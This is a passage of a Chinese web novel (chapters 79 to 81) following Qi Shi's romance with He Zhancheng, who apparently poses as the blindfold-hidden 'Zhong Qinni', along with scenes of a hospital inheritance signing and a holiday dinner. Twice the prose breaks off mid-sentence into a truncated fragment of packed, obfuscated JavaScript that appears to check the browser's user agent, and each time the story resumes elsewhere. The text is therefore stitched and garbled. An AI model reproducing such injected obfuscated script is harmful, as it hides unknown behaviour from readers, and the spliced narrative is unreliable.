这活爹不知道又让哪个傻逼给气着了,好好一张俊丽邪魅的帅脸,怎么能臭成那样? 见人手和脸都冻红了,于是他喊他一声:“时哥,走了!” 戚时一动不动地瞪着那人,没吭声。 何湛程无奈,牵着霜霜走过去,给这尊臭脸石雕披上大衣,然后帮人抬起胳膊,一点点地穿袖子。 终于穿好大衣,他站到戚时面前,双手捧起对方冰凉的脸,捂在温热的掌心来回搓了搓。 戚时不悦地打掉他手,瞪他:“你干什么?” 何湛程笑:“追你呀。” “哇——”霜霜有点震惊地吸吸鼻子,一双眼睛瞪得溜圆,双手抱着书包水壶站在一旁仰脸看着。 戚时冷哼一声,没理他。 他将手机揣回兜,迈着大步走去霜霜旁边,一把揪起她小熊羽绒服帽子上的耳朵,“牵”着人往校门口走,说:“走,先把这小妮子送家去,然后你跟我去见钟覃倪。” 霜霜依依不舍地扭头喊:“小程子!小程子!” 何湛程几个大步追上去,一把将霜霜从戚时手里抢过来,将她护在身后,冲戚时笑:“我跟她早就说好了,今天我送她回家,嗯,就我俩。” 戚时瞬时皱起眉:“不行,你明明——” 何湛程忙打断:“我知道,这不才六点么,她家离这儿又不远,我送完她再去找你也一样。” 戚时脸色不太好,正要张嘴说点什么,何湛程突然迎面扑过来,双手按在他肩头,倾身在他脸庞上“啵”了一大声。 “哇——!!”脚底发来某霜的惊叹。 戚时瞳孔倏地放大,有点不敢置信地看着他:“你敢亲老子?” 何湛程笑眯眯的:“时哥,咱俩好歹好过一阵子呢,你还不信我么?” 戚时冷呵一声,抬手重重一抹脸,唾弃道:“不信。” 何湛程笑嘻嘻地又凑过来,闭眼撅嘴作势又要吻他:“没关系,不信那就再亲一口!” 戚时吓得忙后退两步,望着对方那副讨人喜的嬉皮笑脸,不禁愠怒起来:“何湛程,你有点自尊心行不行!” 何湛程牵起霜霜的手,一歪头,得胜般朝他举了一下,扬眉笑:“那,我带她先走了?” 戚时脸色臭烘烘的,不耐烦地挥手赶人:“走走走!记得八点前到餐厅,你今晚要是敢不出现,老子回头亲自去美国逮你!” “哈哈,”那人已然走远,闻声回头笑:“那我可求之不得呢!” 戚时心烦意乱的,他也不知道自己究竟在讲什么屁话。 他已经有钟覃倪了啊! 戚时沉眸望着那人远去的背影,突然喊:“何湛程!” “干嘛?” “最近刘导给你打电话,别接。” “啊?刘导?为啥?” “如果你还听我的话,别接。” “不管你是谁,在哪儿,都别接。” 79.第79章 戚时在餐厅外面停好车,一手拢着随风翻飞的大衣,另一手给何湛程拨电话催人赶紧来,没走两步,察觉上方似乎有人在注视他,他蓦地抬头,宋演那帮黑衣保镖摆pose似的,八九个外形硬悍的西装革履大背头,正两手插着兜在楼梯台阶上错位站着。 金碧辉煌的商业大楼矗立在这群人身后,戚时眯眼逆着光,审视挑剔的视线从这群人的扑克脸上一一扫过。 他还是第一次这么仔细地打量这些人长什么样子。 心想,钟覃倪连保镖都找这么帅的,可见他审美不错,本人也一定是外貌协会的! 外貌协会的人,家里又巨有钱,还是个身上香香的、很有衣品的gay,钟覃倪从小到大,难不成就不臭美?不追求自己美? 皮肤差,可以美容护肤;牙不齐整,可以正畸;五官有瑕疵,可以做微型矫正手术;更不提此人出身豪门,该有的礼仪教养、身段气质,那必然要比普通人强些。 钟覃倪再丑,他能丑到哪里去? 不过说来惭愧,他想象中的钟覃倪,一直都是何湛程的脸,但今天和何湛程在一起,他多次试探未果,心里又不免失望,更无法想象真正的钟覃倪是什么样子。 宋演那群人一见他,纷纷走下来接他。 准确点来说,他们是要扶着他进去。 宋演掌心攥着一条黑色遮眼布,举到他面前,一副公事公办的语气:“戚先生,老规矩,钟先生在里面等您。” 戚时皱起眉,表情有些抗拒。 不知怎的,他今天格外抵触这个破布条。 戚时盯着宋演:“我给你五十万,你直接告诉我,里面坐着人到底是谁。” 宋演颔首:“我说过了,是钟先生。” 戚时有点上火,呵斥道:“不是!他不是什么狗屁的钟先生!如果他真的是另外一个人,那他为什么要蒙住我的眼睛?甚至连一点轮廓都不让我看见?!” 宋演顿了顿,掀眼皮和他对视一眼:“你要听真话吗?” 戚时沉眸反问:“你说呢?” 宋演盯着他:“他出事故了,术后毁了容,全球最好的整形科医生都没办法修复他身上那道伤疤,他的确很英俊,近乎完美的英俊,所以他接受不了这个事实,更不想让你看到他现在的样子,我这么说,你能理解吗?” 戚时不禁轻轻“啊”一声。 这倒是他从来没考虑过的问题。 宋演再次冲他举起那条黑丝带,示意道:“那么,现在可以了吗?” 戚时叹息一声,顺从地闭上眼:“可以了。” 忽然想到上次他哥带着宋演来他别墅里堵他,两伙儿人看起来很熟,于是忍不住又问:“诶,你不是钟覃倪的人么?你什么时候跟我哥认识的?” “从令兄在医院里给我塞红包的时候开始认识的。” 宋演面无表情地替他绑着遮眼布。 “哦……令兄?”戚时挠挠下巴,突然扭头问他,“你知道‘聚星资本’么?” 宋演在他脑后打了个死结,淡淡道:“不知道。” “哦,”戚时又问,“我看你不太像普通保镖,你跟何湛程是什么关系?” 宋演实在不想碰他,招呼两个手下,扶着戚时往餐厅里走,反问道:“何湛程是谁?” 戚时笑:“你反应还挺快,我以为像你这种肌肉大块头,都是头脑简单四肢发达的类型呢。” 宋演扭头看他一眼,淡声回敬:“那是你。” 戚时不甚在意地一笑,问他:“小宋啊,你跟在覃倪身边这么久,想必他都没怎么认真欣赏过你这张帅脸吧?” 宋演冷呵一声:“你什么意思?” 戚时笑问:“有人告诉过你吗?” 宋演漫不经心道:“告诉我什么?” “你和何棣坤长得有几分像。” 宋演脸色一僵。 “但愿是我眼拙,把你错认成我那位脑袋缺根筋的老朋友!” 戚时被架着往里面走,止不住地哈哈大笑:“你连何湛程都不认识,又怎么会认识何棣坤呢?” ** 关于这家餐厅,戚时本来早有安排。 按理,仨人碰面的位置,应该在楼下大堂公开场地的中央四人桌。 他察觉出来了,自从钟覃倪出现,他身边的每个人都怪怪的。 还有他哥,他哥似乎也在帮钟覃倪隐瞒着什么,所以他信不过身边任何一个人。 他连秘书都没告诉,私下亲自联系了外援,专门雇了八个私家侦探在他提前预定好的位置附近蹲守,命他们务必要拍到钟覃倪的照片。 事实证明,钟覃倪要技高一筹。 戚时蒙着眼,直接被那群保镖带进了二楼私人包厢。 理由是,钟先生喜安静,不喜欢在人群嘈杂的地方吃饭。 当然,一群守在饭桌旁装模作样苦苦蹲守的侦探们,也被宋演那帮专业人士以“行为猥琐的可疑人员”的借口从大堂全部清扫出去了。 私人包厢的空间很大,超乎寻常的幽暗静谧,戚时一走进来,周身感受不到丝毫的光亮,扭头问他们:“这屋是不是根本就没开灯?” 扶他的两个保镖回复:“是的。” 戚时挑眉:“理由?” 保镖异口同声道:“钟先生不喜欢太明亮的地方。” 戚时撇撇嘴,屁股一落座,身后立刻站过来一群保镖壮汉。 一旦他不听话强行扯掉遮眼布,这群人就会立刻扑过来将他摁下去,以免他看到钟覃倪的真实样子。 戚时就觉得,他和钟覃倪这恋爱谈得挺没意思的。 不出半分钟,随着一阵轻缓从容的皮鞋踩地声,对面椅子磨着地动了几下。 戚时竖起耳朵,听到宋演低声对那人说了几句什么,显然是在告他的状。 那人听罢,颇为淡定地一笑,低声安慰了句“没事”,然后脱下身上大衣,吩咐一句:“帮我挂上去吧。” 宋演恭敬接过:“是。” 钟覃倪一落座,直接端起高脚杯,仰头将杯中红酒一饮而尽。 似乎是远道而来,急于靠喝点什么东西缓解一下奔波的劳累,他喝完后喟叹一声,放下酒杯,这才笑声跟他打招呼。 “戚时,好久不见,你瘦了。” 钟覃倪比他来得晚。 戚时没好气地问:“外面很冷,你穿得厚么?” 钟覃倪点点头:“没事,我身上贴着暖宝宝呢。” 戚时说:“我不在你身边了,你要好好照顾自己。” 钟覃倪笑道:“知道。刚听宋演说,你又逗他了?” 戚时不屑一笑:“开个玩笑么,那小子人长得这么壮,怎么胆儿这么小呢?” 宋演侍立在钟覃倪身旁,臭着脸瞪他一眼。 戚时轻啧一声:“覃倪,他是不是在瞪我?可恶,我眼睛看不见,你快帮我瞪回去。” 钟覃倪笑:“行了,这世上长得像的人多的是,何棣坤我见过,和我们宋演是有点儿像,你不说,我还真没发现。” 戚时不以为然地一笑:“何湛程,你到底还要跟我装到什么时候?” 钟覃倪泰然自若,下巴一抬,示意他们上菜。 然后自顾自地倒着酒:“戚时,你应该知道我的性格,我不喜欢你把我当成别人。” 戚时“哦?”一声,挑眉问:“那你告诉我,为什么人还没到齐,你就先叫上菜了?” “难道不是因为心里清楚,如果你来了,他就不会来了么?” 钟覃倪倒酒的姿势一顿,下一秒,缓声笑道:“不好意思,我中午没吃饱,有点饿昏头了,这件事确实是我忽视了你和你朋友,我向你们道歉。” 戚时嘴角一翘:“没关系,你正在长身体,多吃点儿。” 冲对面下巴一抬,蛮随意地指挥道:“小宋,你去,给你们钟先生再多叫两份羊排!” 宋演顿了顿,然后一声不吭地扭身出门。 钟覃倪翻了个大白眼。 菜很快上齐,七分熟的牛肉香,淋着酱汁的烤羊排,他与他面前各摆了一道黑松露奶油蘑菇汤和罗宋汤,餐桌上点燃着火光跃动的银座蜡烛,暧昧静谧的光影里,是戚时看不见的、铺了满桌的玫瑰花瓣。 钟覃倪俯身拿过戚时面前的盘子,替人切好牛排块,再弯腰递到对方面前。 戚时有点无语:“何湛程?三少?您老人家到底玩儿够没啊?你蒙住老子眼睛,你让我咋吃啊?” 钟覃倪瞥他一眼:“第一,我不是何湛程;第二,他们会喂你吃;第三,你如果不愿意他们喂你,等待会儿我走了,你再自己吃。” 戚时有点烦了,强行按捺住脾气:“我就问你一句,你是不是要一辈子蒙住我眼睛?” 钟覃倪低头拿勺子搅拌着汤:“戚时,那天在医院,你自己也说了,我们不会有一辈子的。” 戚时语塞住了,眼眶忽然有些发酸。 他低下头,心间蓦地涌上一阵难过。 他不知道钟覃倪到底是谁了。 明明这个人白天的时候还说要重新追他。 “你说这话——” 桌底下,戚时反复捻着手指,掌心冷汗直冒,指尖发着白。 他斟酌道:“是以钟覃倪的身份,还是以何湛程的身份?” “我是钟覃倪。” “我知道你钟情我。” “我建议你少一点自恋,这样我会更喜欢你。” 戚时没忍住一笑,语气多了几分宠溺:“是么?难道不是你先表白的么?” “是,”钟覃倪撂下刀叉,抬起头,目不转睛地盯着他,“是我先表白的,是我先喜欢上你的,也是我先出手的。戚时,我知道你和我在一起很辛苦,所以我不想让你为我再承担任何事,我不想你受委屈,不想你难过、伤心,不想你再为我付出哪怕一丁点的代价,所以,你不需要知道我是谁,你只需要心安理得地享受我对你的好,只要你一句话,无论我在哪儿都会回来陪着你——” “我们只是这样,就足够了。” “不,”戚时反驳道,“这只是你的一厢情愿,你根本没有考 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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戚时有点懵,“啊?”了一声,没忍住问:“你去宠物医院了?” 何湛程哼一声:“我刚路过那里,在医院门口碰到咱哥的车了,他说你现在都不管果汁儿了,他又对狗毛过敏,只能每周抽空了带点东西探望一下,省得果汁儿一只狗待在那边怪寂寞的。” 戚时皱了下眉,不免有些愧疚:“我……我本来是要接她回家的。” 电话对面居然传来他哥的声音:“老二,湛程说想把这狗带走,我看果汁儿也挺黏他的,正好我人在这儿,要不趁机就签字解约,给他直接带走吧。” 戚时诧异起来:“等等!哥,你俩在一起呢?” 他哥:“嗯,湛程说让我快点儿,他还要赶着去你那儿吃饭呢,不过我这边手续办的有点慢,等办完他再去你那儿恐怕就来不及了。” “还有,你搞的那个饭局,湛程跟我说了,什么乱七八糟的?哪有人会强迫自己的前男友去见现男友的?他去了干什么,看你俩秀恩爱还是吃狗粮?老二,我说句公道话啊,这事你做得不地道,依我看,今晚就这么算了吧!” 戚时:“???” 戚时一脸不可置信地再次瞪向钟覃倪:“不是,何湛程,你还真有两把刷子啊?你什么时候跟我哥关系这么好的?!!” 钟覃倪瞪着他:“再说一遍,我、是、钟、覃、倪!” 戚时气得脑袋都快转不过弯来了,冲人妥协道:“何湛程,之前的那些陈年旧账,我不跟你计较了,咱俩好聚好散,你别搞老子了行不行?” 钟覃倪耸耸肩:“我都说了我不是他,是你非不信,我有什么办法?你完全可以现在就开车去宠物医院那边,先问一遍令兄,然后检查一下你的何湛程到底在不在那里。” 戚时不禁有些恼:“你明知道我做不到!” 钟覃倪双手托腮,眼尾翘起,冲人温柔一笑。 他爹的个驴粪球,你要是能做到,那还得了? 电话再次传来何湛程的声音,这次笑得很开心: “时哥,你最近心情不好吧,没关系,我把咱家果果带回美国了,如果你想她了,随时来这边看她,顺便也看看我!机票食宿不用担心,我现在赚钱了,都是我自己的钱哦,没找我大哥要,所以你以后想买什么我都能替你买单,怎么样,我厉害吧?” “你还有其他交代的吗?嗯,没有吗?好吧,那就这样了,时哥么么!再见!” 戚时:“…………” 电话嘟嘟两声,戚时无语挂断。 桌对面,钟覃倪小心翼翼地观察着他表情,试探道:“你似乎……很嫌弃他。” 戚时随手把电话往桌边一扔,转脸瞪他:“我不嫌弃他,我嫌弃你!” 钟覃倪诧异指了下自己:“我?” “对,你,就是你!” “我怎么了?” “你这个偷狗贼!” 80.第80章 今天下午的重症特级病房庄肃得像一场新闻发布会,四架专业摄像机围绕在老爷子病床前,清晰的镜头和录音设备对准那位正低头签字的、愈发瘦弱苍白的老者,一脸恭敬地陪坐在他身边的,是与何家合作多年的信托公司受托人。 关于老爷子遗产分配、何氏集团股份授让、海外诸多企业(涉及珠宝、汽车制造、木材家具、工厂、药业及在海外诸国购置、经营的多所别墅住宅、度假村、酒庄等等)股权转让,一系列受益人都在本次签署的合同里了。 何闽轩、何棣坤、何湛程三兄弟一身西装商打扮,表情严肃地在镜头旁站成一排,亲眼见证着他们的父亲和受托人及律师们交谈着本次修改的合同内容。 老人颤巍巍的嘴唇蠕动着,他声音很小,很费力地讲着话,不时念起他们的名字,旁边录像师将这些话一字不差地都录进去。 这是自打三儿子出生后就签署下的信托合同,这二十年来,随着名下诸多企业经营发展和经济形势的变化,老爷子每年都要做至少一次的修改。 这恐怕是最后一次修改。 自打入了冬,老爷子精力大不如前,开口说话的次数也越来越少,本次通知各方过来见证、签署及修改合同,还是找的戚时跑腿。 何老大的私人秘书全天24小时守在医院,只有戚时来,外面门口站的是茉莉和擎荣在沪上分部的人。 老爷子坚信大儿子会把家族和企业经营到更上一层楼,但不太信老大一点私心都没有,因此,借着认干儿子的名由,让戚时先联系他的信托公司,再把他这几个亲儿子都叫来,最终把留给他们的多少分红、股份、房产、地产等,一一都透露给他们。 当然,三兄弟身在异乡的、从不曾认祖归宗的那些兄弟姐妹,老爷子委婉表示,希望三兄弟看在那些人都安分守己的份上,往后日子里,他不在了,他们可以多照拂些。 人之将死,其言也善。今日了却最后一桩心愿,老爷子强撑着力气,靠在床上跟儿子们絮絮叨叨,一会儿笑,一会儿又叹,仿佛有说不完的话。 讲起他这些年一路走来,有过几段风花雪月,也蹚过数不清的刀山火海,人生如潮汐时涨时落,他黯然失意过,也大彻大悟过,在一个和平的国家里,他的人生却充满了激情与动荡,他没后悔。 只是,现在临了了,他对他的两任妻子和儿子们感到十分愧疚。 他从未亏待过任何一位情人,唯独亏欠了两任妻子。 这不是情债,这是他作为一个丈夫的失职。 老爷子自嘲笑道,等死后,他大抵是要到下面去赎罪的。 “还有你们三个,”他慈爱目光依次望过他们,说,“老大小时候也挺调皮呢,刚回国那会儿,又黑又瘦的,讲不好国语,还气跑了好几个中文老师,现在长得这么斯文俊秀,说一口流利的普通话,哈哈,你小子也是不容易!” 何老大颔首:“您还记得。” “你是我儿子,我当然记得啊。”老爷子笑了笑,扭头去看戚时,冲人指了下何老大,问他:“你听着呢?我们老大在北方也做生意,地盘可不小呢,这些年他到处行走耳濡目染的,还会许多方言呢,你听他说话,是不是一点口音都没有?” 戚时恭敬道:“是。” 老爷子“嗯”一声,转头又看向何棣坤和何湛程,笑道:“还有你们两个小祖宗,棣坤,我没怎么管过你,好在你大哥在前面给你立着榜样,我对你还算放心;湛程呢,唉,爸爸太疼你了,把你惯得不成样子,这些年,我这个父亲做得也很失败,你们埋怨我,我没话说,但是等我走了,你们一定要听大哥的话,不许跟大哥顶嘴,自己遇到什么难处、或者做什么重大决策,要先请教过大哥再动作,还有在私底下,你俩这么大人了,不许再动不动就打架了,你们三个——”他再一次望了眼何老大,然后将目光停留在老二和老三的身上,训诫道:“你们三个都是手足兄弟,未来的路还很长,你们要互相扶持,知道么?” 何棣坤和何湛程不禁听得眼眶有些泛红,一齐低下头:“知道。” 最后,话头转到戚时。 在戚时记忆里,他就从没对任何人喊过“爸”这个字。 这大半年来,他抽出很大一部分精力,京城沪上往返跑,一个集团总裁,隔三差五来亲自伺候老爷子,他承认自己有一些功利的成分在,但日子一长,一老一少相处下来,老头儿偶尔和他交谈,自嘲晚年凄凉,然后突然就掉下流泪,他便不免生出许多恻隐之心。 他出身草根,没经历过大家族豪门的恩怨情仇,他只知道自己每天侍候的,是一个胸襟开阔有大格局、不吝赐教指点他的大人物、是一个年老患癌身体不便,仍尽量不给儿子和身边人添麻烦的慈悲老人、是自己心爱之人在这个世上唯一的、也是最依恋、最敬重的父亲。 老爷子对三兄弟表示,戚时是他新认的干儿子,往后在生活上、事业上,他们几个要和戚时互相帮助。 何闽轩一脸淡淡,说了句“是”,扭头对戚时点了下头,说:“时兄,日后多多关照。” 何棣坤态度更随便,就“哦”了一声。 戚时自然是挨着何湛程一起站,见那俩人一副司空见惯的表情,他不禁好奇地凑到何湛程耳边,小声问:“诶,你爸是不是经常在外面认干儿子啊?怎么你哥他们一点反应都没有?” 何湛程不禁一笑,抬手捂着嘴,趴到他耳边讲悄悄话:“我爸不是认干儿子,他本身在外面的亲儿子就多,这么多年,时不时就冒出来一个跑回来要钱,我们早就习惯了。” 戚时懂了,忍俊不禁道:“跟演电视似的,真有意思。” 何湛程不太高兴,冷脸瞥他一眼:“怎么就有意思了?我要是在外头和别的女人生一堆小孩儿,你也觉得有意思么?” 戚时攥拳轻咳一声,低声道:“抱歉。” 何湛程不甘心,皱眉追问道:“我问你呢,我跟别的女人生孩子,你乐意么?” 戚时看他一眼,语气淡淡:“如果这是你的选择,我尊重祝福。” 何湛程脸色立刻阴沉下来。 戚时别过脸,与他隔开距离,不再理他。 老爷子让何老大在家里给戚时备出间客房来,说这都大半年了,戚时往返两头跑,一直都住在酒店,身边连个伺候的人都没有,吃饭也总是买着吃,实在不太像话了。 “戚时以后再来沪上,就住家里吧。” 何闽轩和戚时点头应是。 “行了,都散了吧,”老爷子这下是真累了,闭眼靠在床头前,疲惫地挥手赶人,“该干什么都干什么去,一群大高个子擎天柱似的,乌泱泱的都快挤破我房顶了,堵得我这屋里空气都不流通了。” “是。” “爸,你好好休息。” “您注意身体,我过两天再来看您。” 一帮人推门离开,何湛程跟在戚时身后,趁着病房门口就剩他俩,伸手拽了下对方后衣摆。 戚时扭头诧异看他:“怎么了?” 何湛程仰头望他,泛红的眼眶闪动着几分委屈:“你放心,我不跟别人生孩子。” 戚时一顿,点点头,说:“随你。” 何湛程拽着他不撒手,执拗道:“我跟你生。” 戚时没好气一笑,抬起手,不轻不重地弹他一个脑崩:“赶飞机赶傻了?俩男人怎么生?” 圣诞节是在昨天,霜霜家长会是在前天,当然,何湛程偷他狗也是在前天晚上。 何湛程生怕他追来把狗抢回去,因此哪怕第三天要见老爷子,这人也没带来沪上,直接就飞走了。 听他哥说,何湛程貌似是因为功课忙碌才不得不走。 何湛程前天连夜赶飞机离开京城,落地后别说倒时差了,衣服都没换就跑去学校上课了,不愧是二十出头的年轻人,精力还挺旺盛,白天上完课,晚上还能通宵再学一宿,此位常春藤男大花半天加一整夜时间补完了半周的功课,次日早又赶着飞来沪上分遗产,也是够忙的。 何湛程捂着脑门笑:“我能啊!我给你生小狗。” 戚时稀奇挑眉:“小狗?” 何湛程一双笑眼弯起,双手捏成狗耳朵举过头顶,蹙起鼻头冲他呼哧呼哧的:“啦啦啦,我是你的小舔狗,能生很多可爱小狗,汪汪!” 戚时:“……” 身后传来老人幽幽的叹息声:“二位,你们能不能注——” 何湛程脊背一僵,火速一个转身回旋踢,“啪”一下,把病房门砰腾关上,不忘甩人一句“爸,你好好歇着吧!”,然后拽着戚时往外一路狂跑。 “喂,何老三!”戚时被人拽在身后,一边跑一边笑个不停,冲人喊:“丢脸吗!” “哼!”那人头也不回,“那咋啦?不丢脸!” “那钟覃倪呢,你取这个名字丢脸吗?” “滚啊,都说了我不是他!” “嗯对对对,你不是在钟覃倪,你是小狗,会汪汪叫的那种小狗!” “你才是小狗!” “是你自己说的!” “我说自己可以,你说不行!” 两人跑过走廊,沿着一圈又一圈的楼梯阶跑下,仗着身高腿长,一溜烟儿就蹿下八楼,谁也没说坐电梯。 正嬉嬉闹闹着出来,正巧撞上在楼外雪地旁、凑在一起吞云吐雾聊天的何老大和何老二。 何老大见势,招呼戚时:“时兄,不急着走吧,快中午了,等下我们一起去吃个饭吧。” 何老二也招手叫何湛程,喊道:“老三,出门在外多久没喝过家乡水了?你也一块儿吃点儿吧!” 戚时当然不会错过和何老大增进关系的饭局,自然而然就朝那俩人走过去。 何湛程面上淡淡,在戚时身后低声说“你去吧,少抽烟少喝酒,我明天还有课,就先走了”。 也没理何老二,转身就离开了。 剩下的人都没吭声。 何湛程不想和他们同桌吃饭。 作为老爷子最宠爱的小儿子,他还在介意他们合起伙来隐瞒他、和擅自决定让老爷子保守治疗的事。 戚时扭过头,看一眼那人头也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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何棣坤一挑眉,诧异道:“那你俩刚才这又在病房说悄悄话,又在楼梯间你追我赶打情骂俏的,几个意思啊?” 戚时缓缓吐了口烟,失神望着远天,笑了声。 “他身体不好,脾气又倔,上一次旧病复发就是让我给气的,这一次,我能哄着当然要哄着点儿了。” “两个人纠缠不清的话,至少要让一个人开心吧。” “等再过个三五年,他到年纪了,该结婚就结婚,该生子就生子,小孩儿么,现在正是喜欢玩儿的年纪,等一旦有了家庭和真正爱的人,他自然就不会和我这种人再多做纠缠了。” 这话说得太令人沮丧,何老大、何棣坤和戚时都是同病相怜的人,一听这话,不禁都蹙起眉来。 何老大有些心烦意乱地捻灭烟头,沉默没吭声,低头掏出烟盒又燃上一支。 何棣坤“嗐”一声,安慰般拍拍戚时肩膀,正要张口劝两句,仨人身后便传来一声十分令人熟悉的、低声细微的哽咽。 戚时冷不丁头皮一麻。 何老大和何棣坤默默对视一眼,下一秒,不约而同地挪着步子,结伴躲到另一旁白雪皑皑的大松树下吞云吐雾去了。 冷风裹着潮湿气,吹动垂落在膝边的毛呢大衣,身后那人迈着沉重的步子,踩着雪地和枯树叶朝自己走来。 戚时叹了口气,反手掐灭烟头,顺手投进旁边的垃圾桶,然后转身望向那人。 何湛程倔强地抬袖抹了两下眼,假装什么都没听到,通红着眼眶,冲他挤出一个灿烂的笑:“哈哈,没想到吧,我又回来了!” 然后把手里装了几个药盒和沉甸甸中药包的大塑料袋递给他。 戚时伸手接过,犹豫道:“何湛程,我……” “这几盒药,我刚才路过呼吸科帮你拿的。”何湛程打断道,一一指给他看:“这些都是治咳嗽的,跟你常吃的那几种安眠药不冲突,我听你这几天一直在咳,是感冒了吧?你每天吃完饭,记得按时吃药,知道吗?” 戚时点点头:“好。” “这个中药呢,”何湛程给他介绍道,“这是我让中医部的人送来的,调养身体帮助睡眠的,你晚上不是一直失眠吗,这个药听说不太苦还很管用,应该不会太难咽,你实在喝不下去就吃点儿糖,知道吗?” 戚时笑眼温柔地望着他:“嗯,知道。” 两行泪突然从眼尾流出,何湛程顿了下,抬起手抚摸着对方脸上乱糟糟的胡茬,轻声道:“那,我走了。” 戚时忽然闭上眼,歪头偏脸蹭了蹭他的掌心。 何湛程疑惑眨了下眼,试探问:“二哥?” 戚时没睁眼,埋怨道:“是你,就是你。” “是我什么?” “没什么,”他很轻易就妥协了,笑道,“一切按你的心意就好。” 81.第81章 元旦节,京城暴风雪。 大门一开,戚时裹着围巾大衣,一米九身材挺拔的大高个子,浑身寒气地站在门外,两手提着四五箱名贵烟酒和营养补品。 “哥,今天吃什么?” “饺子,再炒几个菜,有两个汤。” 戚铭系着围裙,两只手裹着面粉,忙接过戚时手里东西,招呼着他进来。 “挺冷吗?我看外面雪下得越来越大了,” “还行,我来之前喝了中药,胃里正暖着呢。”戚时低头换鞋,随口应了句。 “怪不得,一身苦味儿,”戚铭站得离他远了些,随手放下礼品,问道,“昨天刚从沪上回来?” “嗯,老爷子最近情况不太乐观,经常三更半夜还要做检查,病房里人多眼杂的,我得亲自守着点儿。” “湛程呢?” “他一有空就过去陪,我俩见过几次,不过最近他期末周,功课忙,国内外还有几个项目在同时做,一周都睡不够十小时,老爷子说他在那儿干陪着没用,让他先顾学业。” “哦,那你和湛程,你俩现在是?” “朋友。” 戚时挂好大衣,又低头解着围巾,随口问着:“你家那个八十线呢?” 戚铭叹道:“跟着剧组去沪上参加首映礼去了。” 戚时轻啧一声:“你早说啊,早说我昨天就连夜把人给你偷回来了。” 戚铭没好气:“你俩同乘一辆车,吵嘴的唾沫星子都能把路人淹死。” 一转眼,忽然注意到对方手里这条材质昂贵的羊绒围巾似乎没有标签,也没有任何LOGO。 奢华内敛? 这一点也不符合弟弟的做派。 “围巾质量不错,哪个牌子的,我看看。”戚铭走上前,伸手就要拿过来看。 “别动,”戚时连忙扯过围巾护在怀里,“你还没洗手呢。” 戚铭低头一看自己的面粉手,呵呵两声,直接抬手抹他一脸,拷问道:“别人给你织的?” 戚时抬起袖口蹭掉面粉,避开他眼神:“不是,我自己买的。” 戚铭不怀好意地追问:“哦,是么?哪儿买的?下回来给我也带一条。” 戚时一本正经道:“沪上,在一个小摊随便买的,人家自己手工织的,买不着一样的。” 戚铭:“多少钱?” 戚时面不改色:“两千。” 戚铭“哦”一声,低头在围裙上擦擦手,然后掏手机给他转账:“我给你打四千,你这条给我,自己回头再买一条去。” 戚时冷呵一声:“想得美,让你家八十线给你织去!” 饭间,三菜两汤,四盘饺子。 戚时一边埋头干饭,一边埋怨着他哥真是越来越抠门了,大过节的还舍不得多弄俩菜,他大老远买一堆礼品过来,还不如拿那钱下馆子吃去呢。 戚铭慢悠悠舀着鲜笋丸子汤:“反正就咱俩人,做多了浪费,你最近不是正吃着药呢么,忌口的东西多,吃清淡点儿好。” 戚铭说,他这两天功夫都花在包饺子了,什么牛肉萝卜、羊肉圆葱、虾仁玉米、茴香鸡蛋、猪肉芹菜、肉酱香菜、素南瓜馅的,每样都包了几份,藏在冷冻层,他一个人在家住,懒得每顿都做饭,每天煮一盘饺子就糊弄过去了。 “牛肉和羊肉的,”戚时夹了口菜,一副理所应当强盗口吻,边嚼边说:“待会儿都打包了,我带走。” 戚铭瞥他一眼,教训道:“不给,这次给钱也不给了。再过两天你都二十八了,这么大人了,炒个西红柿鸡蛋都炒不明白,你也该练练厨艺了。” 戚时纠正道:“不是两天,是再过五天。” 戚铭:“我说的两天是约数。” 戚时摇头啧一声,撂下筷子,一根根掰着手指头跟他算:“你看,你这个人一点都不严谨,两天就是两天,五天就是五天,我今天、明天、后天、大后天、大大后天……直到六号晚上十一点之前,都是二十七。” 戚铭:“……” 戚时扯纸巾擦了擦嘴,说:“他早上发消息,说六号过来找我,问我能不能去机场接他,我还没给他回复。” 戚铭挑眉:“谁?湛程?” 戚时点点头,瞥他一眼:“要不你去给他说吧,就说我不喜欢过生日,这也不算骗他,他这阵子学习工作忙得团团转,黑眼圈都熬出来了,反正我俩是没可能了,就别让他白跑一趟了。” 戚铭连忙摆手:“别扯我,我不想掺和你们的事儿。” 戚时冷哼:“不想掺和,还帮他瞒着我钟覃倪的事儿?” 戚铭一本正经:“我不明白你在说什么。” 戚时瞪他:“你去不去?” 戚铭皱眉:“咱俩到底谁是哥?” 戚时:“你帮他骗我。” 戚铭:“你抢我饺子。” 戚时:“……” 看在饺子的份上,戚时六号那天还是亲自去机场接人了。 首都机场老地方,完全截然于在老爷子病房偶遇时的商务装打扮,何湛程私下见他,会特地打扮得潮酷靓丽,首饰也是换着花样的戴,百变的发型,精致白皙的脸庞,挥霍不完的青春气息。 这次何湛程换了风格,一身白衬衫搭着撞色蓝棕格子领带,外套是件浅灰羊毛衫,略显宽松的水洗牛仔裤,脚底踩一双黑色板鞋。 忽视掉对方衣服近乎恐怖的价格,这穿搭倒挺朴实无华,戚时猜,想必是怕刺激他又老一岁的年纪,少爷难得收敛几分,没戴项链,也没戴耳骨钉,发型也仅是简单打理了下,怀里抱着束蓝粉色的花,那般英俊从容地鹤立于人群,随便谁和那人对视上一眼,分分钟就要沦陷进他笑眸的温柔里。 这大概就是钟覃倪的模样了。 戚时望着他,忍不住一笑,一颗心也跟着柔情似水起来。 他没好气地朝人走过去,接过对方行李箱,埋怨道:“不是说了,不让你送花了。” 何湛程嘿嘿一笑,认真抱着花指给他看:“没有啊,你只说不让送玫瑰花,我这儿又没有玫瑰花。呐,这是绣球、这个是粉蔷薇,这个呢,是康乃馨、水仙百合,这个是郁金香,怎么样?你喜欢吗?” 戚时点点头,说:“行,你以后也不许再送我绣球、粉蔷薇、康乃馨、水仙百合,嗯,还有什么来着?哦,郁金香!” 